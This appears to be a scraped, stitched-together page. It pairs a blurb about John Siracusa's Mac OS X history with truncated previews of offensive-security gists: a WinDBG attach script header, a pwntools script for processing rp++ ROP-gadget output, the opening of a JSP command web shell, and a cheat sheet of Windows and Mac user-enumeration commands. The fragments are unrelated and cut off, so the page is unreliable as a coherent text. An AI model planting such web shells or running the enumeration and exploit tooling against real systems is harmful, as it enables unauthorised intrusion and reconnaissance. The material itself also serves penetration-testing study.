Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.
You've got two main options:
| <# | |
| .SYNOPSIS | |
| A PowerShell script to attach a debugger to a running process or a service. | |
| .DESCRIPTION | |
| This script allows you to attach a debugger (WinDBG) to a running process or a service, with optional commands executed at the start of the debugging session. | |
| It can also start an executable specified by a file path and attach the debugger to it. | |
| .PARAMETER service_name | |
| The name of the service to restart and attach the debugger to (optional). |
| #!/usr/bin/env python3 | |
| """ | |
| # NOTE, you must change the filename below for the rp++ output you want to process. | |
| # This script does not take arguments in its current form. Sorry! | |
| """ | |
| import re | |
| from pwn import p32, u32 |
| <%@ page import="java.util.*,java.io.*"%> | |
| <% | |
| %> | |
| <HTML><BODY> | |
| Commands with JSP | |
| <FORM METHOD="GET" NAME="myform" ACTION=""> | |
| <INPUT TYPE="text" NAME="cmd"> | |
| <INPUT TYPE="submit" VALUE="Send"> | |
| </FORM> | |
| <pre> |
| Domain: TEST.local | |
| User Enumeration: | |
| Windows: | |
| net user | |
| net user /domain | |
| net user [username] | |
| net user [username] /domain | |
| wmic useraccount | |
| Mac: | |
| dscl . ls /Users |